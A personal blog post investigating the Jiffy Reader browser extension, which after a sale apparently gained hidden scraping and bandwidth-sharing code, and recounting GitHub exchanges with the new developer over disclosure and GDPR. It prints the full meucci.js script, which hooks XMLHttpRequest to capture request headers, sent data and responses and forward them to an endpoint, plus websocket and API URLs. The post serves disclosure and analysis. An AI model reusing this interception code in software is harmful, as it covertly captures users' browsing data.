Post

Uncovering A Extension Botnet

Uncovering A Extension Botnet

In this post i will go over how a simple discord message led me down the rabbit hole of uncoverying a shady company buying up extensions and incorporating their own shady business practices and code to scrape websites and data to third parties for use in training AI systems

I would like preface this by saying this is not the first time this behaviour has been seen in the wild however this is documemting my experience and research into a suspcious extensoion and what that lead to. all other sources will be linked in citations/references at the bottom of the page

Unconfirmed reports

This all started when a member of a discord server I am part of made a comment talking about how an extension disabled on chrome due to malware concerns and speculated had been sold and now contained malware. Being the curious individual that I am I reached out and asked them which extension so I could take a look, by this time the extension was long gone from the store so I couldnt download it however the user had an archived copy so they sent it to me for analysis.

The extension in question is called Jiffy Reader and is marketed as a way to “Increase your focus and reading speed with the simplest brain hack ever.” by the website. The site also markets the extension as open source and links to a Github Repo however this states it is an archive and is no longer under development (this will be important later). the first major red is that the release version of the suspicious files does not match the latest release of the github, the github release is 1.8.2 while the suspected malware release is 1.8.8, given that the repo is apparently archive why would there be a new release on the chrome/edge/firefox stores and not be on the github.

To start I extracted the zip file in my Flare Vm and compared it with the official release from github the first thing i notice is that thre was alot more files and folders in the 1.8.8 release compared to 1.8.2

side by side showing the extra content side by side showing the extra content

The main additions are rge Tabs folder which contains a pascoli.html and a heavily obfuscated pascoli.4618fb13.js and then the meucci.js file located in the extensions main directory, the meccui.js file is the most interesting as it will set up a listener on each page you visit, listen to any ajax/XHR requests the page makes and then grabs that URL along with metadata and then sends if off to an API in this case a AWS storage bucket “jreader-bucket[.]s3[.]us-east-1[.]amazonaws[.]com” the developer claims no personal information is being stored and that he doesnt need to comply with GDPR but I will get into that later on.

*"use strict";
(() => {
    var v = Object.create;
    var d = Object.defineProperty;
    var T = Object.getOwnPropertyDescriptor;
    var k = Object.getOwnPropertyNames;
    var x = Object.getPrototypeOf,
        w = Object.prototype.hasOwnProperty;
    var R = (e, t) => () => (t || e((t = {
        exports: {}
    }).exports, t), t.exports);
    var S = (e, t, s, o) => {
        if (t && typeof t == "object" || typeof t == "function")
            for (let n of k(t)) !w.call(e, n) && n !== s && d(e, n, {
                get: () => t[n],
                enumerable: !(o = T(t, n)) || o.enumerable
            });
        return e
    };
    var O = (e, t, s) => (s = e != null ? v(x(e)) : {}, S(t || !e || !e.__esModule ? d(s, "default", {
        value: e,
        enumerable: !0
    }) : s, e));
    var g = R((J, f) => {
        "use strict";
        var D = Object.defineProperty,
            H = Object.defineProperties,
            M = Object.getOwnPropertyDescriptors,
            m = Object.getOwnPropertySymbols,
            q = Object.prototype.hasOwnProperty,
            L = Object.prototype.propertyIsEnumerable,
            y = (e, t, s) => t in e ? D(e, t, {
                enumerable: !0,
                configurable: !0,
                writable: !0,
                value: s
            }) : e[t] = s,
            P = (e, t) => {
                for (var s in t || (t = {})) q.call(t, s) && y(e, s, t[s]);
                if (m)
                    for (var s of m(t)) L.call(t, s) && y(e, s, t[s]);
                return e
            },
            X = (e, t) => H(e, M(t)),
            b = (e, t, s) => new Promise((o, n) => {
                var p = r => {
                        try {
                            a(s.next(r))
                        } catch (i) {
                            n(i)
                        }
                    },
                    u = r => {
                        try {
                            a(s.throw(r))
                        } catch (i) {
                            n(i)
                        }
                    },
                    a = r => r.done ? o(r.value) : Promise.resolve(r.value).then(p, u);
                a((s = s.apply(e, t)).next())
            });

        function j() {
            return b(this, null, function*() {
                var e, t;
                let s = document.currentScript;
                if (!s) return;
                let o = {
                    include_urls: ((e = s.getAttribute("include-urls")) == null ? void 0 : e.split(",").map(n => n.trim())) || ["/**"],
                    exclude_urls: ((t = s.getAttribute("exclude-urls")) == null ? void 0 : t.split(",").map(n => n.trim())) || [],
                    burke_id: s.getAttribute("burke-id") || "",
                    api_endpoint: s.getAttribute("api-endpoint") || "",
                    callback: void 0
                };
                o.burke_id && o.api_endpoint && E(o)
            })
        }

        function E(e) {
            let t = X(P({}, e), {
                include_urls: e.include_urls || ["/**"],
                exclude_urls: e.exclude_urls || [],
                burke_id: e.burke_id || "",
                api_endpoint: e.api_endpoint || "",
                callback: e.callback || null
            });
            if (!t.burke_id) return () => {};
            if (!t.api_endpoint) return () => {};
            let s = XMLHttpRequest.prototype.open,
                o = XMLHttpRequest.prototype.send,
                n = XMLHttpRequest.prototype.setRequestHeader;

            function p(r, i) {
                return i.some(l => {
                    if (l === "/*" || l === "/**") return !0;
                    let c = l.replace(/\*\*\*/g, ".*").replace(/\*\*/g, "[^/]*").replace(/\*/g, "[^/]*").replace(/\./g, "\\.").replace(/\//g, "\\/");
                    return new RegExp(`^${c}$`).test(r)
                })
            }
            let u = function(r = 6) {
                return Math.random().toString(36).substring(2, r + 2)
            };

            function a(r) {
                window.parent.postMessage({
                    isBurkeProcessed: !0,
                    recordID: r.id,
                    resultToSave: JSON.stringify(r),
                    apiEndpoint: t.api_endpoint,
                    type: "saveBurkeResult"
                }, "*")
            }
            return XMLHttpRequest.prototype.open = function(r, i, l, c, W) {
                    this.t = {
                        id: u(),
                        burke_id: t.burke_id,
                        timestamp: new Date().toISOString(),
                        url: i,
                        full_url: i.startsWith("http") ? i : window.location.origin + (i.startsWith("/") ? "" : "/") + i,
                        method: r,
                        async: l !== !1,
                        user: c || null,
                        headers: {},
                        sentData: null,
                        responseData: null,
                        responseHeaders: null,
                        status: null,
                        statusText: null,
                        duration: null,
                        error: null
                    };
                    let h = this.t.full_url;
                    return this.e = this.s || t.exclude_urls.length > 0 && p(h, t.exclude_urls) || t.include_urls.length > 0 && !p(h, t.include_urls), s.apply(this, arguments)
                }, XMLHttpRequest.prototype.setRequestHeader = function(r, i) {
                    return this.t && !this.e && (this.t.headers[r] = i), n.apply(this, arguments)
                }, XMLHttpRequest.prototype.send = function(r) {
                    return this.t && !this.e && (this.t.sentData = r, this.t.sendTimestamp = new Date().toISOString(), this.addEventListener("load", () => {
                        try {
                            let i = new Date;
                            if (this.t.duration = i.getTime() - new Date(this.t.timestamp).getTime(), this.t.status = this.status, this.t.statusText = this.statusText, this.t.responseHeaders = this.getAllResponseHeaders(), this.t.responseType = this.responseType, this.t.responseSize = this.responseText ? this.responseText.length : null, this.t.completed = !0, this.responseType === "" || this.responseType === "text") {
                                this.t.responseData = this.responseText;
                                try {
                                    (this.responseText.trim().startsWith("{") || this.responseText.trim().startsWith("[")) && (this.t.parsedResponse = JSON.parse(this.responseText))
                                } catch (l) {
                                    this.t.jsonParseError = l.message
                                }
                            } else this.responseType === "json" ? (this.t.responseData = this.response, this.t.parsedResponse = this.response) : this.responseType === "arraybuffer" || this.responseType === "blob" ? this.t.responseData = "[Binary data]" : this.t.responseData = this.response;
                            a(this.t), typeof t.callback == "function" && t.callback(this.t)
                        } catch {}
                    }), this.addEventListener("error", () => {
                        this.t.error = !0, this.t.completed = !0, this.t.errorTimestamp = new Date().toISOString(), a(this.t), typeof t.callback == "function" && t.callback(this.t)
                    }), this.addEventListener("timeout", () => {
                        this.t.timedOut = !0, this.t.completed = !0, this.t.timeoutTimestamp = new Date().toISOString(), a(this.t), typeof t.callback == "function" && t.callback(this.t)
                    }), this.addEventListener("abort", () => {
                        this.t.aborted = !0, this.t.completed = !0, this.t.abortTimestamp = new Date().toISOString(), a(this.t), typeof t.callback == "function" && t.callback(this.t)
                    })), o.apply(this, arguments)
                },
                function() {
                    return XMLHttpRequest.prototype.open = s, XMLHttpRequest.prototype.send = o, XMLHttpRequest.prototype.setRequestHeader = n, !0
                }
        }
        var I = class {
            constructor() {}
            init() {
                return b(this, null, function*() {
                    return yield j()
                })
            }
        };
        f.exports = I
    });
    var _ = O(g()),
        A = async () => {
            await new _.default().init()
        };
    A().catch(console.error);
})();*

We can also see that the background.b78a8f7f.js is considerably larger than the official relase and again this is because the developers had added alot of their own functionality to the file, this includes a websocket connection and an approval API request, both the websocket and the API are hosted on the official Jiffyreader.com domain leading to the question of did the orginal developer go rougue, did he get hacked did he sell the extension or did he just sell the extension to a third party who added these features (spoilers its the latter)

File size and folder comparison File size and folder comparison

var gn, mn, yn, bn, wn, vn, Bn, Cn, Sn, xn, _n = b((() => {
        "use strict";
        q(), ln(), cn(), $(), S(), k(), Ce(), z(), H(), Qe(), An(), un(), He(), gn = !1, mn = "wss://ws.jiffyreader.com", bn = [3e4, 6e4, 3e5, 6e5, 12e5, yn = 36e5], wn = !1, vn = 0, Bn = null, Cn = [3e4, 6e4, 3e5, 6e5, 12e5, yn], Sn = 18e5, xn = "https://api.jiffyreader.com/approval"
    }));
    var En = b((() => {
        "use strict";
        $()
}));

In total the new background file is about 14.5 times larger than the initial release with it all being code added by the new devs.

What actually happened?

A large Github Issue was spawned discussing this and it eventually caught the attention of Ansh who is the original developer of JiffyReader. He explained that he had sold the extension to a third party who was now implementing these features in the extension and that he had not been involved since the 1.8.0 release, this statement does seem to be true however it should be noted that the github actions on the repository had released the 1.8.2 release despote him no longer being a developer of the extension. He did share his concerns about the malicous behaviour however attempts to find out who this new third party was. It is also worth noting that nowhere on Ansh’s github page, repository Or website is any kind of sale mentioned he does not mention he is no longer involved in the extension Nor as of time of writing (10/7/25) does the JiffyReader site mention this change and it still claims it is open source and links to the repodespite this clearly not being the case, it also still links to the removbe chrome store listing.

Ansh's initial response Ansh’s initial response

Screenshot of JiffyReader homepage Screenshot of JiffyReader homepage

The new dev appears

On 7/7/25 a Github account called jiffyreader comented on the issue “to address some of the most pressing concerns raised here” they state that “no personal data was exfiltrated from the JiffyReader extension” and that the code we wre analysing was due to them merging code from mellowtel, an open source bandwith sharing library and that this used an opt in page asking if you want to share bandwith. HOWEVER they then explain that “We had to remove the integration a couple of months ago due to the single purpose policy on Chrome. Basically it’s a policy that states that an extension can have a single purpose and can’t do multiple things” but then say that they would instead try implement their own bandwith sharing library based on the mellowtel code. This inital explanation is actually just padded out and hardly addresses any of the concerns laid out by users over that week, it is also very odd that after having to remove the bandwith sharing function due to policy that they would then go try re implememt it themselves as this would still violate the policy.

New Devs's initial response New Devs’s initial response

Other users also shared their skeptisim and asked this account “Why were the updates pushed in secret, and not not in-line with the GitHub repo? (This is a tough one for me as this voids all transparency.)” which is totally fair as since they aquired the extension in no way shape or form was any user ever made aware of these changes and none of users in the discussion knew anything about the mellowtel integration (which these devs claimed had happened before them) let alone these new integrations.

I then ask for proof that they are in fact the current developers of jiffyreader which they did by redirecting http://issue.jiffyreader.com/ to the github issue i then asked them to “explain what the functions for testing for i-frames, overriding google viewer and the functionality for snooping on ajax/xhr requests are for and why this is a necessary function of the extension” and then explain that “GDPR clearly states you need to A have consent for any and all data collection, and B state quote-“the purposes of the processing for which the personal data are intended as well as the legal basis for the processing” which given there is no clear opt in promt anywhere would violate the GDPR act, the developer then responded bu explaining some of the features of the extension in a bit more detail.

Firstly they explain that “The websocket listens for incoming messages. These messages are requests to retrieve content from publicly available websites (not related at all to websites a user might be visiting). Businesses pay us so they can access these websites to power their workflows (ai agents, price tracking, ai chat bots etc.).”

They then state that “As far as I know, GDPR applies to personal data. JiffyReader didn’t collect, transfer or store any sort of personal data of its users.” this is incorrect as they do process IP addresses of users and meta, the sites they visit as well as other related sites and pass them off to the AWS bucket to be stored (they claim no data is stored at all not even IP addresses yet refuse to provide a response)

Finally they explain “The reason for adding this bandwidth sharing was monetizing a free software product without having to rely on ads/affiliate links or selling users data as most plugins without an underlying business model do. We did announce it initially, but had to remove the explicit announcement/opt-in flow due to chrome policies (single purpose policy: explained a bit more in my previous reply on the timeline).” however this to,e they say “but had to remove the explicit announcement/opt-in flow due to chrome policies” which contradicts their earlier statement saying they had to remove the full itegration and hnow they just had to remove the explicit consent flow which A violates GDPR again and B seems likle they were trying to hide this functionality from google which is backed up by the fact they are implementing the feature in the first place.

New Devs's Scecond response New Devs’s Scecond response

Once again users raise the question of why there was no disclosure of the sale at any point and even now it is very unclear when the sale even took place, comparing the extension ot a botnet and other users saying “This makes no sense at all”

User asking why this was never disclosed User asking why this was never disclosed

User comparing this to a botnet User comparing this to a botnet

User asking more questions User asking more questions

As of 11/07/25no point in any of the correspodance with the jiffy reader account have they A stated who they are, B stated who the data is sold to, C explained when the sale happened and why it was never disclosed, this is a very shade move that seems to be an attempt at avoiding any kind of responsibility and instead they just keep asking us to talk but not providing answers.

As of 18 hours ago from writing another user noted that the mellowtel library had been picked up and had turned nearly 1 million browsers into web scraping tools, they also provided the list of affected versions which go all thw way from 1.8.5 to 1.8.7 which is seemingly all verions released by the new dev this list only includes the chrome versions however I have verified that the firefox versions were also affected, this also reinforces the fact that the devs know what they are doing is shady and contriversion and also reinforces the fact that them implementing their own version is to distance themselves from the mellowtel situation.

As of 1 hour ago the developer released a new statement saying “I saw that developers were earning a lot from turning their products into proxies for scraping and were being paid by proxy providers like anyIP or brightdata. Usually they pay more for mobile proxies. So I decided to try a similar idea. I saw that Jiffy Reader had already tried with mellowtel but had stopped after a while. I thought I could monetize it by making a custom integration and bought the plugin. I tried the open source version of mellowtel but changed the code in order to make it native (refer to the Single Purpose policy issue above) and removed some of the limits in the library” this is partially true as ansh did at one point integrate mellow (albiet sneakily and not explaining it) however the new versions of the extension are mentioned in the mellowtel affetced extensions not Ansh’s.

They also reiterate the lack of need for GDPR stating “For GDPR, I haven’t collected any data from this bandwidth sharing monetization (including IPs which I don’t store). The privacy policy on the website refers to google analytics, to the Crisp web chat and to any contact information the user might pass to us. The public pages that were scraped didn’t have to do anything with the websites a user might be visiting. The same goes for Meucci.js which just monitored xhr/ajax requests INSIDE the session-less frame, not outside, so again it didn’t revolve around any user data. You can look at the mellowtel library since I used a lot of that code” again this is extremely false as we know data has been sent off to the AWS and jiffyreader sites.

Finally they also state “I will be committing all changes to this repo and removing all the flawed forked code. I will also send a new version for the same to FireFox, Edge and Chrome again. Going forward, I will always keep the open-source version in sync with the submitted version.” which is amazing as it keeps the extension open source and up to date while also removing all the code that should never have been there in the first place.

As of 11/07/25 The developer has also opened a discord which I will Join and then hopefully get more answers as to who they are and reinforce my earlier GDPR rights requesting all third parties data is sold to and what exactly what data is transferred as well as any other extensions they use that may be affected.

New Devs's final response New Devs’s final response

Citations

This post is licensed under CC BY 4.0 by the author.